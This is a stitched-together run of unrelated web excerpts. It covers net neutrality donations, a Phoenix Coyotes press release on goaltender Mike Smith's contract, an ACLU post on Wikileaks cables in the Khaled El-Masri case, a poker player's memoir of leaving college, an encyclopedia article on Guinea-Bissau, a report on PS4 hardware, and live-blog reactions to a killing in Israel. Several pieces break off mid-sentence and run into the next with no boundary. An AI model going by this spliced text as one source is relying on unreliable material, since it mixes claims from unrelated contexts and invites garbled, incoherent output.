Some net neutrality proponents say that Congress could settle the debate by passing a law establishing net neutrality rules, but critics point out that ISPs make donations to members of Congress from both parties. Data from the Center for Responsive Politics shows that $101 million in campaign donations have flowed from ISPs to the coffers of current lawmakers since 1989. ISPs tend to favor Republicans, but Democrats have received 44 percent of donations.
Fight for the Future is planning a massive online protest on December 12. More information, along with details about contacting lawmakers, can be found at www.battleforthenet.com.Monday, July 1, 2013
GLENDALE, ARIZONA – Phoenix Coyotes General Manager Don Maloney announced today that the Coyotes have re-signed goaltender Mike Smith to a six-year contract. As per club policy, terms of the deal were not disclosed.
Smith
"We are pleased to sign Mike to a multi-year contract," said Maloney. "Mike has emerged as a top NHL goaltender with his size, athletic ability and strong work ethic. He is capable of leading us to a Stanley Cup championship, the goal of our franchise. This is an important signing for our Club."
Smith, who originally signed with the Coyotes as a free agent on July 1, 2011, went 15-12-10 with a 2.58 goals against average (GAA) and a.910 save percentage (SV%) in 2012-13. His five shutouts were tied for first in the NHL. The 31-year-old netminder has posted a 53-30-15 record with a.924 SV% and a 2.33 GAA in two seasons in Phoenix. His 13 career shutouts with the Coyotes rank fifth all-time in franchise history.
"I'm thrilled to re-sign with the Coyotes," said Smith. "We have a great young team and an excellent coaching staff and management team. I've really enjoyed playing in the Valley the past two seasons and this is where I wanted to stay."
Smith registered a 38-18-10 record with a 2.21 GAA and a.930 SV% in a career-high 67 games in 2011-12. His career-high 38 wins ranked fourth in the NHL while Smith’s eight shutouts finished tied for third in the league and matched the single-season franchise record. The Kingston, Ontario native established a new single-season franchise mark in SV% while his GAA and wins ranked second on the single-season franchise list.
Smith was named the NHL’s First Star of the Month for February when he went 11-0-0 and set a franchise record with an 11-game winning streak. He posted a 1.42 GAA, a.952 SV% and two shutouts in February and was also named the NHL’s First Star of the Week on Feb. 13.
The 6’4”, 215-pound Smith was named the NHL’s First Star of the Week on Apr. 8 after he recorded a 0.67 GAA and a.982 SV% in three consecutive wins to help Phoenix capture its first Pacific Division title in franchise history. Smith began the week by establishing a new NHL record for saves in a regular-season shutout with 54 saves in a 2-0 win vs. Columbus on Apr. 3.
Smith registered a 9-7-3 record with a 1.99 GAA and a.944 SV% in 16 postseason starts. His three shutouts ranked tied for first among all playoff goalies. In the Western Conference Quarterfinal against Chicago, Smith led the Coyotes to their first playoff series win since moving to Arizona in 1996. In six games versus the Blackhawks, he registered a 1.81 GAA and a.950 SV% along with his first career playoff shutout in Game 6 at Chicago.
Smith started all five games against Nashville in the Western Conference Semifinals. He recorded a 25-save shutout in Game 4 and finished the series with a 1.73 GAA and a.943 SV% as Phoenix advanced to the Western Conference Final for the first time in team history.
Prior to joining the Coyotes, Smith played in 162 NHL games throughout six seasons with the Tampa Bay Lightning and Dallas Stars, posting a 67-66-19 record with a 2.71 GAA and a.906 SV%.
In 2010-11, Smith appeared in 22 games with the Lightning registering a 13-6-1 record with one shutout, a 2.90 GAA and a.899 SV%. In three playoff games with Tampa Bay, he posted a 1-1 record with a 1.00 GAA and a.958 SV%. He played in a then career-high 42 games for the Lightning recording 13 wins in 2009-10. Smith was named the NHL’s Second Star of the Week on Jan. 4 after going 2-0-1 with a 1.31 GAA and a.957 SV%.
Smith was originally drafted by the Dallas Stars in the fifth-round (161st overall) in the 2001 Entry Draft. He played two seasons with the Stars (2006-2008) before being acquired by Tampa Bay with Jussi Jokinen, Jeff Halpern and a fourth-round pick in 2009 in exchange for Brad Richards and Johan Holmqvist on Feb. 26, 2008.We’re still reviewing the most recent mass of Wikileaks documents, but already they reveal improper government conduct: Bush administration officials pressured Germany not to prosecute CIA officers responsible for the kidnapping, extraordinary rendition and torture of German national Khaled El-Masri, an ACLU client. Mr. El-Masri was kidnapped from Macedonia in 2003, taken to a secret CIA-run prison in Afghanistan where he was held for several months and tortured before being released on a hillside in Albania.
In 2007, even as the ACLU was asking a federal court to find that former CIA director George Tenet violated U.S. and international human rights laws when he authorized agents to abduct and abuse Mr. El-Masri, a Wikileaks-released diplomatic cable describes a U.S. official’s efforts to prevent international accountability. According to the cable, which is from the U.S. Embassy in Berlin, Chargé d'Affaires John M. Koenig told German officials to “weigh carefully at every step of the way the implications for relations with the U.S.” of issuing international arrest warrants in the El-Masri case.
In the end, the lower courts in the United States refused to hear Mr. El-Masri’s case on the grounds that it concerned state secrets, the Supreme Court declined the ACLU’s appeal on Mr. El-Masri’s behalf, no German prosecution of CIA officials has yet taken place, and Mr. El-Masri, |
UW. I began going to class, playing poker, performing, just like old times.
At that point, I figured I was making around $500 an hour playing poker. I would stare at my professors and not hear a word they were saying. I’d think about poker, about my next shot, about strategy, about my goals. I just couldn’t take school seriously at all.
After a couple of weeks, I decided to stop going to school for real. I told my parents. I showed my dad my PT graphs, and my hand samples. I explained it as best I could to both of them.
I learned later that my Mom was crushed by my decision, but at the time she completely hid it. I’m not sure how she did that, or how she thought so quickly to do it, but I’m thankful for it. Knowing I was potentially breaking her heart would’ve taken a lot of the drive out of me.
My Mom told me she didn’t understand, but she trusted me and knew I’d make a responsible decision. My Dad understood. He said he wished I would stay in school, but he would’ve done the same thing if it were him.
So that was that- I was a full time poker player (and part time improvisor)
My friend Dan (from Vegas) had coincidentally just moved to Madison for his girlfriend (now wife). We helped take each others’ games to the next level. I built up my roll and took another shot at 25/50 and 50/100. It didn’t work that time either, and I moved back down.
The key for me was my ability to move down and take it seriously. Some people can’t move way down after a big shot and loss, but I always could. I would take a 4-5 buyin shot at some bigger games, and immediately move back down and grind if it didn’t work. I don’t recommend this for most people, but it worked well for me.
Dan would sometimes come over with his laptop and we’d both just play poker all day. I had a bigger room now.
I was in a new apartment, though just as cheap. I never really spent any money until I moved to NY two years later. Caroline spent a semester in South Africa, so Shannon and I moved into a two bedroom across the street.
Hindsight
So, I dropped out of school to play poker. Would I do it again? Do I regret it?
The truth is, I do regret dropping out, and actually, I regret getting so serious about poker so early on. I don’t mind the fact that I don’t have a degree (what’s a Philosophy degree worth anyways?), but I mind that I missed out on being a college student. I missed out on some of my youth.
Sure, I was still hanging out with friends, some of whom were students, but it wasn’t the same. I had other focuses, responsibilities. I had job offers from training sites, accountants to hire, bankroll decisions to make. I grew up too quickly.
I wish I would have stayed in school and played a little bit of poker on the side, but not so much that it almost consumed my life like it did.
You can always go back to school and get a degree, yeah, but you can’t go back and be 21 again.
I have a lot more to say about making a big decision like this, but I’ll save that for another post. Please don’t interpret this post as my view on what you should do with a large life decision. That will be covered in my next post. For now I’ll just wrap up.
The Rest is History
I spent the rest of that year doing the same things I’d been doing. I was loving poker, Atlas, my friends, life in general.
After “Senior” year, things started to change. Shannon moved away, along with many of the other friends I’d made. As much of a city as there is in Madison, it’s still a college town (an awesome one, I might add). People graduate and leave. This is what eventually led me to New York. I wanted to buy a home and stay in the same place, and I didn’t want all of my friends to keep leaving. Thomas and I followed Caroline, Anne, and not-yet mentioned friends Gabe and Theresa, along with many other friend/acquaintances to the Big Apple.
But first, in my “Super-Senior” year in Madison, I moved into a 5 bedroom house with Thomas, Josh, and Dave… three extremely awesome guys from Atlas. I had two rooms now: One bedroom and one office. Both were on the top floor, and both were the only rooms with full bathrooms in them. Everyone had to use the shower in my office, which was interesting.
I had another amazing year living with them. I’ve really lucked out with roommates throughout my life. My five years in Madison (actually, just the last four) were the best years of my life to date. That’s not to say I’m not happy… I am. But those were years full of laughter, fun, poker, great new friendships, and it was still before I started to have real grown up responsibilities.
I had plenty of room in my new office for Dan to come over and play, or for me to store my mountains of empty gallon jugs of water and empty boxes of protein bars. I now had two Apple 30″ Monitors, and my comfy Aeron chair. Still was working on a fold out table as a desk, but overall, a nice setup.
Towards the beginning of that year, I took another shot at some bigger games. This time I didn’t look back. $25/$50 and $50/$100, then $100/$200, and eventually $200/$400. I was playing a lot of HU and some good 6max games ran too at higher stakes back then too. Every time I beat someone up at a level, I’d move up to the next level and play the next “boss.”
The competition was getting more and more exciting. My drive was getting stronger. The video game was becoming more real.
People online soon started talking about OMGClayAiken.Guinea-Bissau ( ()), officially the Republic of Guinea-Bissau (Portuguese: República da Guiné-Bissau [ʁeˈpublikɐ dɐ ɡiˈnɛ biˈsaw]), is a country in West Africa that covers 36,125 square kilometres (13,948 sq mi) with an estimated population of 1,815,698.[2]
Guinea-Bissau was once part of the kingdom of Gabu, as well as part of the Mali Empire. Parts of this kingdom persisted until the 18th century, while a few others were under some rule by the Portuguese Empire since the 16th century. In the 19th century, it was colonized as Portuguese Guinea. Upon independence, declared in 1973 and recognised in 1974, the name of its capital, Bissau, was added to the country's name to prevent confusion with Guinea (formerly French Guinea). Guinea-Bissau has a history of political instability since independence, and no elected president has successfully served a full five-year term.
Only 14% of the population speaks noncreolized Portuguese, established as both the official and national language. Portuguese exists in creole continuum with Crioulo, a Portuguese creole spoken by half the population (44%) and an even larger number speaks it as second tongue. The remainder speak a variety of native African languages. There are diverse religions in Guinea-Bissau with no one religion having a majority. The CIA World Factbook (2018) states there are about 40% Muslims, 22% Christians, 15% Animists and 18% unspecified or other. The country's per-capita gross domestic product is one of the lowest in the world.
The sovereign state of Guinea-Bissau is a member of the United Nations, African Union, Economic Community of West African States, Organisation of Islamic Cooperation, Community of Portuguese Language Countries, La Francophonie and the South Atlantic Peace and Cooperation Zone, and was a member of the now-defunct Latin Union.
History [ edit ]
Guinea-Bissau was once part of the kingdom of Gabu, part of the Mali Empire; parts of this kingdom persisted until the 18th century. Other parts of the territory in the current country were considered by the Portuguese as part of their empire.[5] Portuguese Guinea was known as the Slave Coast, as it was a major area for the exportation of African slaves by Europeans to the western hemisphere.
Early reports of Europeans reaching this area include those of the Venetian Alvise Cadamosto's voyage of 1455,[6] the 1479–1480 voyage by Flemish-French trader Eustache de la Fosse,[7] and Diogo Cão. In the 1480s this Portuguese explorer reached the Congo River and the lands of Bakongo, setting up the foundations of modern Angola, some 4200 km down the African coast from Guinea-Bissau.[8]
Although the rivers and coast of this area were among the first places colonized by the Portuguese, who set up trading posts in the 16th century, they did not explore the interior until the 19th century. The local African rulers in Guinea, some of whom prospered greatly from the slave trade, controlled the inland trade and did not allow the Europeans into the interior. They kept them in the fortified coastal settlements where the trading took place.[9] African communities that fought back against slave traders also distrusted European adventurers and would-be settlers. The Portuguese in Guinea were largely restricted to the ports of Bissau and Cacheu. A small number of European settlers established isolated farms along Bissau's inland rivers.[9]
For a brief period in the 1790s, the British tried to establish a rival foothold on an offshore island, at Bolama.[10] But by the 19th century the Portuguese were sufficiently secure in Bissau to regard the neighbouring coastline as their own special territory, also up north in part of present South Senegal.
An armed rebellion, begun in 1956 by the African Party for the Independence of Guinea and Cape Verde (PAIGC) under the leadership of Amílcar Cabral gradually consolidated its hold on the then Portuguese Guinea.[11] Unlike guerrilla movements in other Portuguese colonies, the PAIGC rapidly extended its military control over large portions of the territory, aided by the jungle-like terrain, its easily reached borderlines with neighbouring allies, and large quantities of arms from Cuba, China, the Soviet Union, and left-leaning African countries.[12] Cuba also agreed to supply artillery experts, doctors, and technicians.[13] The PAIGC even managed to acquire a significant anti-aircraft capability in order to defend itself against aerial attack. By 1973, the PAIGC was in control of many parts of Guinea, although the movement suffered a setback in January 1973 when Cabral was assassinated.[14]
Independence (1973) [ edit ]
Independence was unilaterally declared on 24 September 1973. Recognition became universal following 25 April 1974 socialist-inspired military coup in Portugal, which overthrew Lisbon's Estado Novo regime.[15]
Luís Cabral, brother of Amílcar and co-founder of PAIGC, was appointed the first President of Guinea-Bissau. Following independence, the PAIGC killed thousands of local Guinean soldiers who had fought alongside the Portuguese Army against the guerrillas. Some escaped to settle in Portugal or other African nations.[16] One of the massacres occurred in the town of Bissorã. In 1980 the PAIGC acknowledged in its newspaper Nó Pintcha (dated 29 November 1980) that many Guinean soldiers had been executed and buried in unmarked collective graves in the woods of Cumerá, Portogole, and Mansabá.
The country was controlled by a revolutionary council until 1984. The first multi-party elections were held in 1994. An army uprising in May 1998 led to the Guinea-Bissau Civil War and the president's ousting in June 1999.[17] Elections were held again in 2000, and Kumba Ialá was elected president.[18]
In September 2003, a military coup was conducted. The military arrested Ialá on the charge of being "unable to solve the problems".[19] After being delayed several times, legislative elections were held in March 2004. A mutiny of military factions in October 2004 resulted in the death of the head of the armed forces and caused widespread unrest.
Vieira years [ edit ]
In June 2005, presidential elections were held for the first time since the coup that deposed Ialá. Ialá returned as the candidate for the PRS, claiming to be the legitimate president of the country, but the election was won by former president João Bernardo Vieira, deposed in the 1999 coup. Vieira beat Malam Bacai Sanhá in a run-off election. Sanhá initially refused to concede, claiming that tampering and electoral fraud occurred in two constituencies including the capital, Bissau.[20]
Despite reports of arms entering the country prior to the election and some "disturbances during campaigning," including attacks on government offices by unidentified gunmen, foreign election monitors described the 2005 election overall as "calm and organized".[21]
Three years later, PAIGC won a strong parliamentary majority, with 67 of 100 seats, in the parliamentary election held in November 2008.[22] In November 2008, President Vieira's official residence was attacked by members of the armed forces, killing a guard but leaving the president unharmed.[23]
On 2 March 2009, however, Vieira was assassinated by what preliminary reports indicated to be a group of soldiers avenging the death of the head of joint chiefs of staff, General Batista Tagme Na Wai, who had been killed in an explosion the day before.[24] Vieira's death did not trigger widespread violence, but there were signs of turmoil in the country, according to the advocacy group Swisspeace.[25] Military leaders in the country pledged to respect the constitutional order of succession. National Assembly Speaker Raimundo Pereira was appointed as an interim president until a nationwide election on 28 June 2009.[26] It was won by Malam Bacai Sanhá of the PAIGC, against Kumba Ialá as the presidential candidate of the PRS.
On 9 January 2012, President Sanhá died of complications from diabetes, and Pereira was again appointed as an interim president. On the evening of 12 April 2012, members of the country's military staged a coup d'état and arrested the interim president and a leading presidential candidate.[27] Former vice chief of staff, General Mamadu Ture Kuruma, assumed control of the country in the transitional period and started negotiations with opposition parties.[28][29]
Politics [ edit ]
The Presidential Palace of Guinea-Bissau.
Public Order Police officer during a parade in Guinea-Bissau
Guinea-Bissau is a republic. In the past, the government had been highly centralized. Multi-party governance was not established until mid-1991. The president is the head of state and the prime minister is the head of government. Since 1974, no president has successfully served a full five-year term.[30]
At the legislative level, a unicameral Assembleia Nacional Popular (National People's Assembly) is made up of 100 members. They are popularly elected from multi-member constituencies to serve a four-year term. The judicial system is headed by a Tribunal Supremo da Justiça (Supreme Court), made up of nine justices appointed by the president; they serve at the pleasure of the president.[31]
The two main political parties are the PAIGC (African Party for the Independence of Guinea and Cape Verde) and the PRS (Party for Social Renewal). There are more than 20 minor parties.[32]
Foreign relations [ edit ]
Guinea-Bissau follows a nonaligned foreign policy and seeks friendly and cooperative relations with a wide variety of states and organizations.
Military [ edit ]
A 2008 estimate put the size of the Guinea-Bissau Armed Forces at around 4,000 personnel.
Administrative divisions [ edit ]
Guinea-Bissau is divided into eight regions (regiões) and one autonomous sector (sector autónomo). These, in turn, are subdivided into 37 Sectors. The regions are:
Geography [ edit ]
Caravela, Bissagos Islands
Typical scenery in Guinea-Bissau
Guinea-Bissau is bordered by Senegal to the north and Guinea to the south and east, with the Atlantic Ocean to its west. It lies mostly between latitudes 11° and 13°N (a small area is south of 11°), and longitudes 13° and 17°W.
At 36,125 square kilometres (13,948 sq mi), the country is larger in size than Taiwan or Belgium. It lies at a low altitude; its highest point is 300 metres (984 ft). The terrain of is mostly low coastal plain with swamps of Guinean mangroves rising to Guinean forest-savanna mosaic in the east.[30] Its monsoon-like rainy season alternates with periods of hot, dry harmattan winds blowing from the Sahara. The Bijagos Archipelago lies off of the mainland.[33]
Climate [ edit ]
Guinea-Bissau is warm all year around and there is little temperature fluctuation; it averages 26.3 °C (79.3 °F). The average rainfall for Bissau is 2,024 millimetres (79.7 in) although this is almost entirely accounted for during the rainy season which falls between June and September/October. From December through April, the country experiences drought.[34]
Environmental problems [ edit ]
Severe environmental problems include deforestation; soil erosion; overgrazing and overfishing.[30]
Economy [ edit ]
Seat of the Central Bank of Guinea-Bissau
Guinea-Bissau's GDP per capita is one of the lowest in the world, and its Human Development Index is one of the lowest on earth. More than two-thirds of the population lives below the poverty line.[35] The economy depends mainly on agriculture; fish, cashew nuts and ground nuts are its major exports.
A long period of political instability has resulted in depressed economic activity, deteriorating social conditions, and increased macroeconomic imbalances. It takes longer on average to register a new business in Guinea-Bissau (233 days or about 33 weeks) than in any other country in the world except Suriname.[36]
Guinea-Bissau has started to show some economic advances after a pact of stability was signed by the main political parties of the country, leading to an IMF-backed structural reform program.[37] The key challenges for the country in the period ahead are to achieve fiscal discipline, rebuild public administration, improve the economic climate for private investment, and promote economic diversification. After the country became independent from Portugal in 1974 due to the Portuguese Colonial War and the Carnation Revolution, the rapid exodus of the Portuguese civilian, military, and political authorities resulted in considerable damage to the country's economic infrastructure, social order, and standard of living.
After several years of economic downturn and political instability, in 1997, Guinea-Bissau entered the CFA franc monetary system, bringing about some internal monetary stability.[38] The civil war that took place in 1998 and 1999, and a military coup in September 2003 again disrupted economic activity, leaving a substantial part of the economic and social infrastructure in ruins and intensifying the already widespread poverty. Following the parliamentary elections in March 2004 and presidential elections in July 2005, the country is trying to recover from the long period of instability, despite a still-fragile political situation.
Beginning around 2005, drug traffickers based in Latin America began to use Guinea-Bissau, along with several neighboring West African nations, as a transshipment point to Europe for cocaine.[39] The nation was described by a United Nations official as being at risk for becoming a "narco-state".[40] The government and the military have done little to stop drug trafficking, which increased after the 2012 coup d'état.[41]
Guinea-Bissau is a member of the Organization for the Harmonization of Business Law in Africa (OHADA).[42]
Society [ edit ]
Demographics [ edit ]
Bissau-Guinean women in the capital, Bissau
[43] (Left) Guinea-Bissau's population between 1961 and 2003. (Right) Guinea-Bissau's population pyramid, 2005. In 2010, 41.3% of Guinea-Bissau's population were aged under 15.
According to the 2017 revision of the World Population Prospects[2], Guinea-Bissau's population was 1,815,698 in 2016, compared to 518,000 in 1950. The proportion of the population below the age of 15 in 2010 was 41.3%, 55.4% were aged between 15 and 65 years of age, while 3.3% were aged 65 years or older.[43]
Ethnic groups [ edit ]
Guinea-Bissau present-day settlement pattern of the ethnic groups
The population of Guinea-Bissau is ethnically diverse and has many distinct languages, customs, and social structures.
Bissau-Guineans can be divided into the following ethnic groups:
Fula and the Mandinka-speaking people, who comprise the largest portion of the population and are concentrated in the north and northeast;
Balanta and Papel people, who live in the southern coastal regions; and
Manjaco and Mancanha, who occupy the central and northern coastal areas.
Most of the remainder are mestiços of mixed Portuguese and African descent, including a Cape Verdean minority.[44]
Portuguese natives comprise a very small percentage of Bissau-Guineans. After Guinea-Bissau gained independence, most of the Portuguese nationals left the country. The country has a tiny Chinese population.[45] These include traders and merchants of mixed Portuguese and Chinese ancestry from Macau, a former Asian Portuguese colony.
Major cities [ edit ]
Port of Bissau
Main cities in Guinea-Bissau include:[46]
Rank City Population 2015 estimate Region 1 Bissau 492,004 Bissau 2 Gabú 48,670 Gabú 3 Bafatá 37,985 Bafatá 4 Bissorã 29,468 Oio 5 Bolama 16,216 Bolama 6 Cacheu 14,320 Cacheu 7 Bubaque 12,922 Bolama 8 Catió 11,498 Tombali 9 Mansôa 9,198 Oio 10 Buba 8,993 Quinara
Languages [ edit ]
Despite being a small country Guinea-Bissau has several ethnic groups which are very distinct from each other, with their own cultures and languages. This is due that Guinea-Bissau was a refugee territory due to migrations within Africa. Colonization and miscegenation brought Portuguese and the Portuguese creole, the Kriol or crioulo.[47]
Although perceived as one of the national languages of Guinea-Bissau since independence, Standard Portuguese is spoken mostly as a second language, with few native speakers and often confined to the intellectual and political elites. It is the language of government and national communication as a legacy of colonial rule. Portuguese is the only language with official status; schooling from primary to university levels is conducted in Portuguese although only 67% of children have access to any formal education. Data suggested the number of Portuguese speakers ranges from 11 to 15%. The Portuguese creole is spoken by 44% which is effectively the national language of communication among distinct groups for most of the population. The Creole is still expanding, and it is understood by the vast majority of the population. However, decreolization processes are occurring, due to undergoing interference from Standard Portuguese and the creole forms a continuum of varieties with the standard language, the most distant are basilects and the closer ones, acrolects. A post-creole continuum exists in Guinea-Bissau and Crioulo 'leve' ('soft' Creole) variety being closer to the Portuguese-language norm.[47]
The remaining rural population speaks a variety of native African languages unique to each ethnicity: Fula (16%), Balanta (14%), Mandinga (7%), Manjaco (5%), Papel (3%), Felupe (1%), Beafada (0.7%), Bijagó (0.3%) and Nalu (0.1%), which form the ethnic African languages spoken by the population.[47][48] Most Portuguese and Mestiços speakers also have one of the African languages and Kriol as additional languages. Ethnic African languages are not discouraged, in any situation, despite their lower prestige. These languages are the link between individuals of the same ethnic background and daily used in villages, between neighbors or friends, traditional and religious ceremonies, and also used in contact between the urban and rural populations. However, none of these languages are dominant in Guinea-Bissau.[47] French is taught as a foreign language in schools because Guinea-Bissau is surrounded by French-speaking nations. Guinea-Bissau is a full member of the Francophonie.[49]
Religion [ edit ]
Religion in Guinea-Bissau, 2010[50] Religion Percent Christianity 62% Islam 38%
In 2010, a Pew Research survey found that Christianity is practiced by 62% of the country's population, with Muslims making up the remaining 38%.[50] Most of Guinea-Bissau's Muslims are of the Sunni denomination with approximately 2% belonging to the Ahmadiyya sect.[51]
Many residents practice syncretic forms of Islamic and Christian faiths, combining their practices with traditional African beliefs.[30][52] Muslims dominate the north and east, while Christians dominate the south and coastal regions. The Roman Catholic Church claims most of the Christian community. [53]
Other estimates claim that Christianity is not the dominant religion as there are 45% Muslims, 31% Animists and 22% Christians. However, according to Worldatlas Christianity is considered to be growing in the country, especially among the followers of traditional religions.
Health [ edit ]
See Health in Guinea-Bissau
Education [ edit ]
Lusophone University, Bissau
Education is compulsory from the age of 7 to 13. Pre-school education for children between three and six years of age is optional and in its early stages. There are five levels of education: pre-school, elemental and complementary basic education, general and complementary secondary education, general secondary education, technical and professional teaching, and higher education (university and non-universities). Basic education is under reform, and now forms a single cycle, comprising 6 years of education. Secondary education is widely available and there are two cycles (7th to 9th classe and 10th to 11th classe). Professional education in public institutions is nonoperational, however private school offerings opened, including the Centro de Formação São João Bosco (since 2004) and the Centro de Formação Luís Inácio Lula da Silva (since 2011).[47]
Higher education is limited and most prefer to be educated abroad, with students preferring to enroll in Portugal.[47] A number of universities, to which an institutionally autonomous Faculty of Law as well as a Faculty of Medicine[54]
Child labor is very common.[55] The enrollment of boys is higher than that of girls. In 1998, the gross primary enrollment rate was 53.5%, with higher enrollment ratio for males (67.7%) compared to females (40%).[55]
Non-formal education is centered on community schools and the teaching of adults.[47] In 2011 the literacy rate was estimated at 55.3% (68.9% male, and 42.1% female).[56]
Conflicts [ edit ]
Usually, the many different ethnic groups in Guinea-Bissau coexist peacefully, but when conflicts do erupt, they tend to revolve around access to land.[57]
Culture [ edit ]
Hotels at Bissagos Islands
Carnival in Bissau
National singer Manecas Costa
Media [ edit ]
Music [ edit ]
The music of Guinea-Bissau is usually associated with the polyrhythmic gumbe genre, the country's primary musical export. However, civil unrest and other factors have combined over the years to keep gumbe, and other genres, out of mainstream audiences, even in generally syncretist African countries.[58]
The calabash is the primary musical instrument of Guinea-Bissau,[59] and is used in extremely swift and rhythmically complex dance music. Lyrics are almost always in Guinea-Bissau Creole, a Portuguese-based creole language, and are often humorous and topical, revolving around current events and controversies.[60]
The word gumbe is sometimes used generically, to refer to any music of the country, although it most specifically refers to a unique style that fuses about ten of the country's folk music traditions.[61] Tina and tinga are other popular genres, while extent folk traditions include ceremonial music used in funerals, initiations and other rituals, as well as Balanta brosca and kussundé, Mandinga djambadon, and the kundere sound of the Bissagos Islands.[62]
Cuisine [ edit ]
Rice is a staple in the diet of residents near the coast and millet a staple in the interior. Fruits and vegetables are commonly eaten along with cereal grains. The Portuguese encouraged peanut production. Vigna subterranea (Bambara groundnut) and Macrotyloma geocarpum (Hausa groundnut) are also grown. Black-eyed peas are also part of the diet. Palm oil is harvested.
Common dishes include soups and stews. Common ingredients include yams, sweet potato, cassava, onion, tomato and plantain. Spices, peppers and chilis are used in cooking, including Aframomum melegueta seeds (Guinea pepper).
Film [ edit ]
Flora Gomes is an internationally renowned film director; his most famous film is Nha Fala (English: My Voice).[63] Gomes's Mortu Nega (Death Denied) (1988)[64] was the first fiction film and the second feature film ever made in Guinea-Bissau. (The first feature film was N’tturudu, by director Umban u’Kest in 1987.) At FESPACO 1989, Mortu Nega won the prestigious Oumarou Ganda Prize. In 1992, Gomes directed Udju Azul di Yonta,[65] which was screened in the Un Certain Regard section at the 1992 Cannes Film Festival.[66] Gomes has also served on the boards of many Africa-centric film festivals.[67]
Sports [ edit ]
Football is the most popular sport in Guinea-Bissau. The Guinea-Bissau national football team is the national team of Guinea-Bissau and is controlled by the Federação de Futebol da Guiné-Bissau. They are a member of the Confederation of African Football (CAF) and FIFA. Other football clubs include Desportivo Quelele, FC Catacumba, FC Catacumba São Domingos, FC Cupelaoo Gabu, FC Djaraf, FC Prabis and FC Babaque.
See also [ edit ]
References [ edit ]
This article incorporates public domain material from the CIA World Factbook website https://www.cia.gov/library/publications/the-world-factbook/index.html.
Further reading [ edit ]
Abdel Malek, K.,"Le processus d'accès à l'indépendance de la Guinée-Bissau", In : Bulletin de l'Association des Anciens Elèves de l'Institut National de Langues et de Cultures Orientales, N°1, Avril 1998. – pp. 53–60
Forrest, Joshua B., Lineages of State Fragility. Rural Civil Society in Guinea-Bissau (Ohio University Press/James Currey Ltd., 2003)
(Ohio University Press/James Currey Ltd., 2003) Galli, Rosemary E, Guinea Bissau: Politics, Economics and Society, (Pinter Pub Ltd., 1987)
, (Pinter Pub Ltd., 1987) Lobban Jr., Richard Andrew and Mendy, Peter Karibe, Historical Dictionary of the Republic of Guinea-Bissau, third edition (Scarecrow Press, 1997)
, third edition (Scarecrow Press, 1997) Vigh, Henrik, Navigating Terrains of War: Youth And Soldiering in Guinea-Bissau, (Berghahn Books, 2006)
Government
Trade
News media
Tourism
Guinea-Bissau travel guide from Wikivoyage
Guinea-Bissau travel guide from Wikivoyage Guinea-Bissau Turismo – [1]
Health
The State of the World's Midwifery – Guinea-Bissau Country Profile
GIS information
Coordinates:At a presentation at the Game Developers Conference today, Sony Senior Staff Engineer Chris Norden went into greater technical detail on some of the PlayStation 4's underlying hardware, including the PS4 Eye depth sensing camera. While all of this information is not finalized and subject to change, the presentation gave us our deepest look yet at Sony's next generation of console hardware.
Norden started by focusing on the chips, including the 64-bit x86 CPU that he stressed provided low power consumption and heat. The eight cores are capable of running eight hardware threads, with each core using a 32KiB L1 I-cache and D-cache, and each four-core group sharing 2MiB of L2 Cache. The processor will be able to handle things like atomics, threads, fibers, and ULTs, with out-of-order execution and advanced ISA.
Sony is building its CPU on what it's calling an extended DirectX 11.1+ feature set, including extra debugging support that is not available on PC platforms. This system will also give developers more direct access to the shader pipeline than they had on the PS3 or through DirectX itself. "This is access you're not used to getting on the PC, and as a result you can do a lot more cool things and have a lot more access to the power of the system," Norden said. A low-level API will also let coders talk directly with the hardware in a way that's "much lower-level than DirectX and OpenGL," but still not quite at the driver level.
The system is also set up to run graphics and computational code synchronously, without suspending one to run the other. Norden says that Sony has worked to carefully balance the two processors to provide maximum graphics power of 1.843 teraFLOPS at an 800Mhz clock speed while still leaving enough room for computational tasks. The GPU will also be able to run arbitrary code, allowing developers to run hundreds or thousands of parallelized tasks with full access to the system's 8GB of unified memory.
Speaking of memory, Norden hyped up the 8GB of GDDR5 RAM in the system as the type of memory that's currently usually found only on high-end graphics cards. Calling the RAM "expensive" and "exotic," Norden stressed that you "can't buy this [RAM] for 50 bucks... that's why high-end graphics cards cost as much as they do." The 176 gigabytes of total bandwidth provided by that GDDR5 RAM are much more efficient than the 40 gigabytes a second provided by the standard DDR3 RAM used in most current computer systems. The unified address space should also cause fewer headaches for developers than the mixed architecture of the PS3, Norden said.
The development environment coders will use is based on Windows 7 and fully integrated with Visual Studio 2010 and 2012, allowing developers to debug PS4 code just like PC code. Tools will include C and C++ front ends that are largely compatible with most standard compilers, and various binary utilities, including CPU and GPU analyzers that can run in real time alongside games. Development houses will also be able to distribute tool and version updates to multiple dev kits more easily through a tool integrated into Windows Explorer.
As for the physical hardware itself, the PS4 will have a Blu-ray drive that's "up to three times faster" than the PS3's drive and will include a "very large" hard drive in every system.
DualShock 4
The DualShock 4 controller that's standard on the PS4 eliminates one feature that was seldom used on the PS3—the analog face buttons and d-pad. While games like Gran Turismo 4 made use of this feature, most developers ignored it. Using digital face buttons on the DualShock 4 will allow Sony to "cut latency way down" for the new controller, Norden said.
For force feedback technology, the DualShock 4 has one small motor and one large motor, much like the DualShock 3. The new controller will let developers vary the analog strength of each motor, though, unlike the digital motors on the PS3, allowing for "more precise, cool effects."
The L2 and R2 buttons on the Dual Shock 4 have been redesigned to be more comfortable and to ignore accidental pressure when players place the controller down on a coffee table, for instance. The analog sticks have also been tightened, Norden said, for a reduced dead zone and better feeling tension that grips your thumbs. The touchpad on the controller will allow for two points of recognition at a 1920×900 resolution, which is pretty large considering the small size of the pad.
Norden also highlighted the light bar on the back of each DualShock 4 controller. The full-range RGB LEDs in each controller will light up blue, red, pink, and green to correspond to players 1, 2, 3, and 4, respectively. The lights will also blink when the controllers are charging (which is now possible even when they are plugged into a PS4 system in standby mode) and turn off when the charging is complete.
Finally, the PS4 will include a mono headset and microphone in every box that plugs directly into the DualShock 4. The system is capable of streaming 32Khz sound to the controllers' speakers for up to 2 players, but that reduces to 16Khz when 3 or more players are hooked up.
PlayStation 4 Eye camera
The PS4 Eye seems like a significant upgrade from the |
that the long arm of the security forces will reach the murderers. We have known painful attacks and overcame them, and so it will be this time. This is our life in this country."
8:55 P.M. Shas chairman MK Aryeh Deri: "Naftali, Gilad, and Eyal, may God avenge their blood. All the nation of Israel is mourning tonight with the three bereaved families who showed us in the last two weeks what Jewish faith and strength are."
8:51 P.M. Economy Minister Naftali Bennett responds to the news, saying, "The murder of children is unforgivable. Our hearts are with the families right now. Now is the time for actions; not talk." (Barak Ravid)
